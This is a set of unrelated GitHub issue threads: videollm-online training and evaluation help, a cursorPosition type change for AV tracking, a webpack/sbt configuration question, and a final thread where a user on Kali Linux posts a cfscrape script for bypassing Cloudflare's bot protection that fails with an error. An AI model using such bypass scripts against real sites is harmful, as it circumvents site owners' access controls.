https://github.com/showlab/videollm-online/blob/df8982632086b39fcc492db90c54bd68ae24ba5a/data/ego4d/narration.py#L16
(BTW, before this work I learned your ProcedureVRL. Thank you!)

@chenjoya Hi Joya, thanks for your previous reply!
A few more questions about the dataset:

According to README in the preprocess folder, only the videos in datasets/ego4d/v2/full_scale were preprocessed.
How about the video clips in clips folder of Ego4D dataset?
Did you only use the videos in ego4d/v2/full_scale? Besides, did you use the "grouped videos" mentioned in the goal-step release?

Hi Yiwu,
Thank you.

I thought clips contains the benchmark video clips of full_scale, thus I only use videos in full_scale. Using full_scale can also get a small clip of the video. For example, the narration video clips are ~5 minutes, so I will crop the embedding by its start and end time:

https://github.com/showlab/videollm-online/blob/b1530e9f74f2ce2b5656684cd360f922610dccc4/data/ego4d/narration.py#L102
https://github.com/showlab/videollm-online/blob/b1530e9f74f2ce2b5656684cd360f922610dccc4/data/stream.py#L91

I am sorry that I dont know the details of grouped videos. Previously v2/full_scale/ has 9600+ videos. Then I update goalstep videos to v2/full_scale. It has 9818 videos now. Does that mean I used "grouped videos"?

Feel free to contact me for any problem!

Thanks for your helpful information!
For item 2, I conjecture that the "grouped videos" could be duplicated to some of the videos in full scale. But it might not be a big problem.
Also, did you use the same code to process COIN videos? Such as downsampling and feature extraction. Thanks!

Thank you. Yes, the same. But the company does not allow YouTube videos, so COIN is only for separate downstream tasks.

@chenjoya Do you mind sharing the versions of key packages you used? Such as torch, cuda, transformers, deepspeed, flash-attn, etc. I encountered errors with DeepSpeed and not sure whether it is version conflict. Thanks!

No problem
torch==2.3.1
transformers==4.42.4
deepspeed==0.14.4
flash-attn==2.6.1
peft==0.11.1

nvcc --version
nvcc: NVIDIA (R) Cuda compiler driver
Copyright (c) 2005-2023 NVIDIA Corporation
Built on Tue_Feb__7_19:32:13_PST_2023
Cuda compilation tools, release 12.1, V12.1.66
Build cuda_12.1.r12.1/compiler.32415258_0

Could you also share the errors you encountered? Since I always use the latest env. Thank you so much!

I just made sure each of these versions matches yours. But the same warnings came out when import deepspeed:
 [INFO] [real_accelerator.py:203:get_accelerator] Setting ds_accelerator to cuda (auto detect)
 [WARNING]  async_io requires the dev libaio .so object and headers but these were not found.
 [WARNING]  async_io: please install the libaio-devel package with yum
 [WARNING]  If libaio is already installed (perhaps from source), try setting the CFLAGS and LDFLAGS environment variables to where it can be found.
 [WARNING]  Please specify the CUTLASS repo directory as environment variable $CUTLASS_PATH
 [WARNING]  sparse_attn requires a torch version >= 1.5 and < 2.0 but detected 2.3
 [WARNING]  using untested triton version (2.3.1), only 1.0.0 is known to be compatible

and an error:
[rank0]: Traceback (most recent call last):
[rank0]:   File "/projects/video/videollm-online/train.py", line 40, in <module>
[rank0]:     train()
[rank0]:   File "/projects/video/videollm-online/train.py", line 8, in train
[rank0]:     args = parse_args()
[rank0]:   File "/projects/video/videollm-online/models/__init__.py", line 8, in parse_args
[rank0]:     args, = HfArgumentParser(LiveTrainingArguments).parse_args_into_dataclasses()
[rank0]:   File "/anaconda3/envs/videollm/lib/python3.10/site-packages/transformers/hf_argparser.py", line 348, in parse_args_into_dataclasses
[rank0]:     raise ValueError(f"Some specified arguments are not used by the HfArgumentParser: {remaining_args}")
[rank0]: ValueError: Some specified arguments are not used by the HfArgumentParser: ['\r']

Sorry. Let me have a try. Which scripts do you run?

I used scripts/ego4d/live1+.sh which I thought was the script for your main model training.

Yes it is. I cloned this repo and have a try. In my side I cannot see this problem:

Now the model is preparing to load, which means the arg parsing has been succeed.
It seems to be a arg parsing problem. I guess there might be some unexpected chars in your scripts/ego4d/live1+.sh... Could you try to copy that again?

(You can ignore the warning. It does not matter)

Now the issue is resolved, by re-copying linux format of bash file. I thought it was the warning message that some packages were not installed correctly. Thank you for your help!

Nice! My great pleasure!

Hi @chenjoya, thanks for your previous helpful information.
I was wondering how to evaluate the pre-trained model as Table 1 of the paper. Do I only need to specify the evaluation dataset and use evaluate.py? Besides, after pre-training, there seems to no model checkpoints saved. Did I need to specify which parameters to save via finetune_modules?

Hi Yiwu, so sorry for the delayed response. Yes, the only thing to do is specify them via finetune_modules. PEFT will only save them and the LoRA weights.
Could you give me a list of your env? I will try to debug that.

 But somehow it doesn't work for narration evaluation.

Hi Yiwu, currently I am working in a new cluster. I finished all data preparing and now start to train COIN. Please wait several hours and I will get back to you!

Hi Yiwu, the bug in COIN evaluation has been fixed. I reproduced from scratch in a new cluster.
The main reason should be the unstable training. My current env is torch 2.4.0, cuda 12.4, transformers 4.44.0. When I try to use lr = 2e-4, it cannot converge, which I also meet in other scenarios (but previously it can converge...). I try to decrease the lr / 2 = 1e-4, still 5 epoch, then get the results

Lower than the paper due to lr / 2. Will update once I get a good epoch and lr parameters.
Meanwhile, I made some updates on the COIN dataset and removed some useless codes. Recommend to pull them.

Thanks for your update! @chenjoya
What is the rough value of loss after converging? Besides, it seems that the evaluation of narration and LTA has some errors (see the comments above). Could you please also take a look at them? Thanks!

Hi Yiwu, sorry that I recently busy with other projects, do not have many GPUs to re-implement. In my experience, the key to get high accuracy on COIN is (1) avoid training loss spike. This is very important, please check the log. If that happens, you can stop and try the next config 😂 (2) Try lr as high as possible but ensure loss spike is not appeared.
Yesterday I tried some simple parameters, lr = 0.00015, stream_loss_weight=0.5, and I have got the similar results to the paper:

‘eval_coin_step_test_accuracy’: 62.7394328517924
’eval_coin_next_test_accuracy’: 48.5977275995973
‘eval_coin_task_test_accuracy’: 92.22408026755853
‘eval_coin_procedure_test_accuracy’: 48.84329225761451
‘eval_coin_taskprocedure_test_accuracy’: 53.641383318802674
Training with longer epochs should the match the paper. But now GPUs are not free again. Will update once it has been done. Also will fix LTA in 2 days. Many thanks for your patience!


Changed the type of cursorPosition from Int to Long for AV-Tracking

For AV tracking of livestreams it should be possible to use the Unix time in milliseconds as cursorPosition.
To make this possible, the cursorPosition type must be changed from int to long.

Hi @gabrielvrebac,
cursorPosition expects a value expressed using the beginning of the video as a reference. This means that this value should not be a timestamp in milliseconds.
Using the Unix time in milliseconds would lead to incorrect values in playback where the end user interacts with the video (pause, seek, speed change, ...).
If you must use the timestamp as the value despite these potential problems, you should always subtract the start timestamp.
Don't hesitate if you need to.


The TypeScript Sources are copied to Target

The plugin works, but there are several caveats:

The .ts sources are copied to target/web/public/main
The suggested config with output.path set to /target/web/webpack makes the file not to be found by routes <script src="@routes.Assets.versioned("webpack/bundle.js")" type="text/javascript"></script>. (workaround: set the path to path.join(__dirname, '/target/web/public/main/javascripts') and use <script src="@routes.Assets.versioned("javascripts/bundle.js")" type="text/javascript"></script>)
Now we need to run separated webpack:startWatch command. How can we cause the plugin to run when we build the project?

Also, in order for the SbtWeb plugins to work with generated files, we need to output not to the target/... but to the /public/javascripts:
output: {
		filename: 'bundle.js',
		path: path.join(__dirname, '/public/javascripts')
	},

Thank you for your feedback.
If you want to run the webpack before another task. For example with build.sbt:

WebKeys.pipeline := WebKeys.pipeline.dependsOn(run in Webpack).value
packageBin := packageBin.dependsOn(run in Webpack).value

If you have other solutions, I would appreciate your advice.

If you don't want .ts sources are copied to target/web/public/main:

Move the context setting of the webpack elsewhere. example with webpack.config.js: { context: path.join(__dirname, '/web') }

Then use ts-loader. example with webpack.config.js:
const path = require('path');

module.exports = {
  context: path.join(__dirname, '/web'),
  entry: './app.ts',
  output: {
    path: path.join(__dirname, '/public/bundles'),
    filename: 'app.bundle.js'
  },
  resolve: {
    // Add `.ts` and `.tsx` as a resolvable extension.
    extensions: ['', '.webpack.js', '.web.js', '.ts', '.tsx', '.js']
  },
  module: {
    loaders: [
      // all files with a `.ts` or `.tsx` extension will be handled by `ts-loader`
      { test: /\.tsx?$/, loader: 'ts-loader' }
    ]
  }
}

thanks.


Problem when bypassing cf

Hello .. when bypassing cf using this code
#!/usr/bin/env python
import cfscrape,sys
url=sys.argv[1]
scraper = cfscrape.create_scraper()
print scraper.get(url)
raw_input('\n[!] Continue ..\n')
request = "GET / HTTP/1.1\r\n"
cookie_value, user_agent = cfscrape.get_cookie_string(url)
request += "Cookie: %s\r\nUser-Agent: %s\r\n" % (cookie_value, user_agent)
print request
raw_input('[!] Continue ..\n')
print scraper.get(url).content

when run the script .. i show this problem
Traceback (most recent call last):
  File "cloudflare.py", line 6, in <module>
    print scraper.get(url)
  File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 310, in get
    return self.request('GET', url, **kwargs)
  File "/usr/local/lib/python2.7/dist-packages/cfscrape/__init__.py", line 120, in request
    resp = super(CloudflareScraper, self).request(method, url, *args, **kwargs)
  File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 279, in request
    resp = self.send(prep, stream=stream, timeout=timeout, verify=verify, cert=cert, proxies=proxies)
  File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 374, in send
    r = adapter.send(request, **kwargs)
  File "/usr/local/lib/python2.7/dist-packages/requests/adapters.py", line 155, in send
    conn = self.get_connection(request.url, proxies)
  File "/usr/local/lib/python2.7/dist-packages/cfscrape/__init__.py", line 69, in get_connection
    if conn.conn_kw.get("ssl_context"):
AttributeError: 'HTTPSConnectionPool' object has no attribute 'conn_kw'

Please Help :)
os : kali linux
python ver : 2.7

Please use the bug report issue template.